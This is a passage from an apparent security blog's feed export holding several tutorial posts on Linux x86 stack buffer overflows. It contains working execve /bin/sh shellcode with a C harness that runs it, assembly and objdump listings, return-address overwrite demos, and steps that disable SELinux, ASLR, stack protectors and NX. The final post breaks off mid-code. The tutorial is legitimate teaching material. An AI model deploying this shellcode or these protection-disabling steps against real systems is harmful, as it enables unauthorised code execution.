/&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;804807b:&amp;nbsp;&amp;nbsp; &amp;nbsp;42&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;inc&amp;nbsp;&amp;nbsp;&amp;nbsp; %edx&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;804807c:&amp;nbsp;&amp;nbsp; &amp;nbsp;42&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;inc&amp;nbsp;&amp;nbsp;&amp;nbsp; %edx&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;804807d:&amp;nbsp;&amp;nbsp; &amp;nbsp;42&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;inc&amp;nbsp;&amp;nbsp;&amp;nbsp; %edx&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;804807e:&amp;nbsp;&amp;nbsp; &amp;nbsp;42&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;inc&amp;nbsp;&amp;nbsp;&amp;nbsp; %edx&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;804807f:&amp;nbsp;&amp;nbsp; &amp;nbsp;43&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;inc&amp;nbsp;&amp;nbsp;&amp;nbsp; %ebx&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;8048080:&amp;nbsp;&amp;nbsp; &amp;nbsp;43&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;inc&amp;nbsp;&amp;nbsp;&amp;nbsp; %ebx&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;8048081:&amp;nbsp;&amp;nbsp; &amp;nbsp;43&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;inc&amp;nbsp;&amp;nbsp;&amp;nbsp; %ebx&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;8048082:&amp;nbsp;&amp;nbsp; &amp;nbsp;43&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;inc&amp;nbsp;&amp;nbsp;&amp;nbsp; %ebx&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;manoj@manoj-laptop:~/Desktop/blog$ &lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Note that the shell code we obtained here is free from null characters and it does even have hard coded addresses, like in the shell code we have obtained in &lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;the previous post.&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;The obtained shell code is inserted in the c code in the form of global character array as mentioned below:&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;//shellCode.c &lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;char shellcode[] =&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b"&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff"&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;"\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43";&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;void main()&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;{&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; int *ret;&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; ret = (int *)&amp;amp;ret + 2;&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; (*ret) = (int)shellcode;&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;}&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;In the above program ret is the pointer variable which would change the return address present in the stack ( return address of main), to address of shellcode( global char array), in this way we execute our obtained shell code.&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;The execution of c code is as follows:&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;manoj@manoj-laptop:~/Desktop/blog$ gcc -fno-stack-protector -z execstack shell.c -o ex&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;manoj@manoj-laptop:~/Desktop/blog$ ./ex&lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;$ &lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; That's all for this time... Happy hacking... :) &lt;/span&gt;&lt;br style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;" /&gt;&lt;span style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1361024724213312909-128228545696954853?l=intrusionalert.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://intrusionalert.blogspot.com/feeds/128228545696954853/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1361024724213312909&amp;postID=128228545696954853&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/128228545696954853'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/128228545696954853'/><link rel='alternate' type='text/html' href='http://intrusionalert.blogspot.com/2011/03/shell-code-revisited.html' title='Shell Code revisited'/><author><name>manoj sk</name><uri>http://www.blogger.com/profile/01064329419086831423</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='21' src='http://1.bp.blogspot.com/_OvHuF1DoCxI/Sgv0O4Ac2yI/AAAAAAAAAAM/HuO76fBQEYI/S220/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1361024724213312909.post-1667905701748090780</id><published>2011-03-10T23:40:00.000-08:00</published><updated>2011-03-10T23:40:31.326-08:00</updated><title type='text'>Shellcode Basics</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Here we make use of gcc 4.4.1, gdb, and objdump tools to construct a shell code and we embed this code in a c program and run this exploit on vulnerable Linux machine.&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;The following is the basic c code to spawn a shell using the execve system call( the general syntax of execve system call is: int execve(const char *filename,char *const argv[],char *const envp[]), this returns 0 on success and -1 on&amp;nbsp; failure).&lt;br /&gt;&lt;br /&gt;//shell.c&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp; char *name[2];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; name[0] = "/bin/sh";&lt;br /&gt;&amp;nbsp;&amp;nbsp; name[1] = NULL;&lt;br /&gt;&amp;nbsp;&amp;nbsp; execve(name[0], name, NULL);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;This is compiled as gcc -o shell -ggdb -static shell.c&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Here we have to include -static or else the actual code for the execve will not be included, instead there will be a reference to dynamic C library that would normally would be linked in at load time.&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Then we can look at its assembler code by disassembling the main program using gdb (step 1. gdb ./shell step 2. disas main), so that we can get basic idea of how the assembly code is written.&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;So now we have to write a assembly code and check out its shell code using objdump, i am not going to teach you of how to write assembly code from basics. :)&lt;br /&gt;&lt;br /&gt;#shellcode.s&lt;br /&gt;#check c code thoroughly before seeing this assembly code&lt;br /&gt;.data&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;sh:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; .asciz "/bin/sh"&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;NULL1:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; .int 0&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;shaddr:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; .int 0&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;NULL2:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; .int 0&amp;nbsp; &lt;br /&gt;.text&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;.globl _start&lt;br /&gt;_start:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;movl $sh,shaddr&amp;nbsp; #moving address of sh to shaddr&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;movl $11,%eax #11 is system call number for execve&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;movl $sh, %ebx #1st argument&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;movl $shaddr, %ecx # 2nd argument&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;movl $NULL2, %edx # 3rd argument&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;int $0x80&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;Here in the above assembly code i am using at&amp;amp;t syntax. The .data part specifies the variables that we are going to use in the program, the _start: part indicates the starting of the code.In general we move system call number into %eax followed by arguments for the system call into %ebx, %ecx and so on. The data part in memory is organized as "/bin/sh" followed by null1 and followed by address of sh and again followed by null2.&lt;br /&gt;&amp;nbsp; Comparing this with above c code we have sh==&amp;gt;name[0], null1==&amp;gt;name[1], shaddr==&amp;gt;name, null2==&amp;gt;NULL(environment pointer), and at last int $0x80 is used to wake up kernel to run.&lt;br /&gt;&amp;nbsp;&amp;nbsp; On execution of above assembly code is as follows:&lt;br /&gt;&lt;br /&gt;manoj@manoj-laptop:~/Desktop/buffer$ as -gstabs -o shell.o shell.s&lt;br /&gt;manoj@manoj-laptop:~/Desktop/buffer$ ld -o shell shell.o&lt;br /&gt;manoj@manoj-laptop:~/Desktop/buffer$ ./shell&lt;br /&gt;$ &lt;br /&gt;&lt;br /&gt;&amp;nbsp; Now we use the objdump tool to check the shell code for our assembly code&lt;br /&gt;&lt;br /&gt;manoj@manoj-laptop:~/Desktop/buffer$ objdump -d ./shell&lt;br /&gt;&lt;br /&gt;./shell:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; file format elf32-i386&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Disassembly of section .text:&lt;br /&gt;&lt;br /&gt;08048074 &amp;lt;_start&amp;gt;:&lt;br /&gt;&amp;nbsp;8048074:&amp;nbsp;&amp;nbsp; &amp;nbsp;c7 05 a0 90 04 08 94 &amp;nbsp;&amp;nbsp; &amp;nbsp;movl&amp;nbsp;&amp;nbsp; $0x8049094,0x80490a0&lt;br /&gt;&amp;nbsp;804807b:&amp;nbsp;&amp;nbsp; &amp;nbsp;90 04 08 &lt;br /&gt;&amp;nbsp;804807e:&amp;nbsp;&amp;nbsp; &amp;nbsp;b8 0b 00 00 00&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; $0xb,%eax&lt;br /&gt;&amp;nbsp;8048083:&amp;nbsp;&amp;nbsp; &amp;nbsp;bb 94 90 04 08&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x8049094,%ebx&lt;br /&gt;&amp;nbsp;8048088:&amp;nbsp;&amp;nbsp; &amp;nbsp;b9 a0 90 04 08&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x80490a0,%ecx&lt;br /&gt;&amp;nbsp;804808d:&amp;nbsp;&amp;nbsp; &amp;nbsp;ba a4 90 04 08&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x80490a4,%edx&lt;br /&gt;&amp;nbsp;8048092:&amp;nbsp;&amp;nbsp; &amp;nbsp;cd 80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;int&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x80&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; The second column (i.e c7, 05,....) indicates the shell code. But the following are the problems associated with the above shell code:&lt;br /&gt;1. There are zeroes(i.e 00) in the above shell code, as we know we cannot push this into a character array(to implement exploit), simply because in strings null means end of string, so if we push this into a string and give this as input to a program then program wont consider the string part present after 00. hence we have to further modify the assembly code to remove these null characters&lt;br /&gt;2. You can observe that the addresses of say "/bin/sh" location ($0x8049094) are all hard coded as we can see above, so the problem with this is it may not work if we try to push this across various computers, so we need to setup relative addressing, to make our shell code much flexible.&lt;br /&gt;&amp;nbsp;&amp;nbsp; In my next post i will be giving information of how we can get shell code which is flexible enough and without having problems as mentioned above.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1361024724213312909-1667905701748090780?l=intrusionalert.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://intrusionalert.blogspot.com/feeds/1667905701748090780/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1361024724213312909&amp;postID=1667905701748090780&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/1667905701748090780'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/1667905701748090780'/><link rel='alternate' type='text/html' href='http://intrusionalert.blogspot.com/2011/03/shellcode-basics.html' title='Shellcode Basics'/><author><name>manoj sk</name><uri>http://www.blogger.com/profile/01064329419086831423</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='21' src='http://1.bp.blogspot.com/_OvHuF1DoCxI/Sgv0O4Ac2yI/AAAAAAAAAAM/HuO76fBQEYI/S220/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1361024724213312909.post-350486683455288937</id><published>2011-03-09T10:48:00.000-08:00</published><updated>2011-03-09T11:16:56.574-08:00</updated><title type='text'>Creating a vulnerable Linux environment</title><content type='html'>Hello all, in this blog we will discuss about how to create a vulnerable linux environment such that we can execute our buffer overflow codes without wasting much time.&lt;br /&gt;Note: Here we are using gcc 4.4.1 compiler&lt;span style="font-size:100%;"&gt; on Ubuntu 9.10&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;First of all we have to disable SELINUX present in your system, this can be done by going to /etc/sysconfig/selinux file and changingthe SELINUX=permissive setting to SELINUX=disabled, here we are disabling this because, selinux offers mandatory access control policies on OS, where in user programs are not given privileges beyond a certain extent.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Next we have to turn off randomize_va_space, because generally shellcode uses the address space to execute its malicious payload, so if you randomize your address space to new processes than your system becomes more secure against attacks, so in order to turn it off issue this command in terminal==&gt;sudo sysctl -w kernel.randomize_va_space=0.&lt;/li&gt;&lt;li&gt;Next we have to disable the stack smashing protector, by issuing this -fno-stack-protector while compiling the c code.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Next we have to disable executable space protection, "Executable space protection" is the marking of memory regions as non-executable, such that an attempt to execute machine code in these regions will raise an exception. So in order to disable this use -z execstack while compiling the c code.&lt;/li&gt;&lt;li&gt;so the c code is compiled as gcc -fno-stack-protector -z execstack vulnerable.c -o vulnerable&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1361024724213312909-350486683455288937?l=intrusionalert.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://intrusionalert.blogspot.com/feeds/350486683455288937/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1361024724213312909&amp;postID=350486683455288937&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/350486683455288937'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1361024724213312909/posts/default/350486683455288937'/><link rel='alternate' type='text/html' href='http://intrusionalert.blogspot.com/2011/03/creating-vulnerable-linux-environment.html' title='Creating a vulnerable Linux environment'/><author><name>manoj sk</name><uri>http://www.blogger.com/profile/01064329419086831423</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='21' src='http://1.bp.blogspot.com/_OvHuF1DoCxI/Sgv0O4Ac2yI/AAAAAAAAAAM/HuO76fBQEYI/S220/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1361024724213312909.post-4356767583993895045</id><published>2011-02-13T05:24:00.000-08:00</published><updated>2011-02-13T05:53:42.812-08:00</updated><title type='text'>Smashing the stack</title><content type='html'>This part &lt;span style="font-family: times new roman;"&gt;mainly concentrates on how we can change the return address present in the stack when a function is called. On changing the return address, we can skip the instructions that are supposed to be executed in normal fashion.&lt;br /&gt;The simple C code is as follows(this is executed on gcc 4.4.1)&lt;br /&gt;#include&lt;stdio.h&gt;&lt;br /&gt;void fun(int a,int b,int c)&lt;br /&gt;{&lt;br /&gt;  int  buf2[2]={3,4};&lt;br /&gt;  int buf1[2]={1,2};&lt;br /&gt;  int *x;&lt;br /&gt;  x=buf1+6;//1st part&lt;br /&gt;  (*x)+=13;//2nd part&lt;br /&gt;}&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;  int x=0;&lt;br /&gt;  fun(1,2,3);&lt;br /&gt;  printf("This will not be printed");&lt;br /&gt;  return 0;&lt;br /&gt;}  &lt;br /&gt;&lt;br /&gt;Using gdb we can simply break the code and check the stack when and where we want. The stack picture for above program is as follows&lt;br /&gt;&lt;br /&gt;Top of stack                                                                      bottom of stack&lt;br /&gt;[buf1][buf2][pointer_of_x][stack_pointer][return_address]3 2 1&lt;br /&gt;bottom memory address                                                      Top memory address&lt;br /&gt;&lt;br /&gt;This can be seen on gdb by breaking the code at line 7 and there by typing&lt;br /&gt;gdb&gt;x/32xw $esp&lt;br /&gt;&lt;br /&gt;The code in 1st part helps in seeking the pointer to the return address, and the code in the second part helps us in  moving the pointer to some instruction in main program. To write 2nd part we have to disassemble main program using :&lt;br /&gt;gdb&gt; disas main&lt;br /&gt;&lt;br /&gt;we get something like this&lt;br /&gt;&lt;br /&gt;0x0804841e &lt;main+0&gt;:    push   %ebp&lt;br /&gt;0x0804841f &lt;main+1&gt;:    mov    %esp,%ebp&lt;br /&gt;0x08048421 &lt;main+3&gt;:    and    $0xfffffff0,%esp&lt;br /&gt;0x08048424 &lt;main+6&gt;:    sub    $0x20,%esp&lt;br /&gt;0x08048427 &lt;main+9&gt;:    movl   $0x0,0x1c(%esp)&lt;br /&gt;0x0804842f &lt;main+17&gt;:    movl   $0x3,0x8(%esp)&lt;br /&gt;0x08048437 &lt;main+25&gt;:    movl   $0x2,0x4(%esp)&lt;br /&gt;0x0804843f &lt;main+33&gt;:    movl   $0x1,(%esp)&lt;br /&gt;0x08048446 &lt;main+40&gt;:    call   0x80483e4 &lt;fun&gt;&lt;br /&gt;0x0804844b &lt;main+45&gt;:    mov    $0x8048520,%eax&lt;br /&gt;0x08048450 &lt;main+50&gt;:    mov    %eax,(%esp)&lt;br /&gt;0x08048453 &lt;main+53&gt;:    call   0x804831c &lt;printf@plt&gt;&lt;br /&gt;0x08048458 &lt;main+58&gt;:    mov    $0x0,%eax&lt;br /&gt;0x0804845d &lt;main+63&gt;:    leave &lt;br /&gt;0x0804845e &lt;main+64&gt;:    ret   &lt;br /&gt;End of assembler dump.&lt;br /&gt;&lt;br /&gt;now we are adding 13 in second part as we are trying to skip print statement and directly move on to main+59 line (simply 58-45=13)&lt;br /&gt;&lt;br /&gt;Similarly other c code is as follows...&lt;br /&gt;&lt;br /&gt;#include&lt;stdio.h&gt;&lt;br /&gt;void fun(int a, int b, int c)&lt;br /&gt; {&lt;br /&gt;   int buffer2[4]={7,8,9,10};&lt;br /&gt;   int e=13;&lt;br /&gt;   int d=3;&lt;br /&gt;   int *ret;  &lt;br /&gt;   int buffer1[3]={4,5,6};  &lt;br /&gt;   ret = buffer1 + 9;//this goes to return pointers address&lt;br /&gt;   (*ret) += 34;//changes contents of return address by seein disas main&lt;br /&gt;}&lt;br /&gt;int main()&lt;br /&gt; {&lt;br /&gt;  int x;&lt;br /&gt;  x = 0;&lt;br /&gt;  fun(1,2,3);&lt;br /&gt;  x = 1;&lt;br /&gt;  printf("The value of 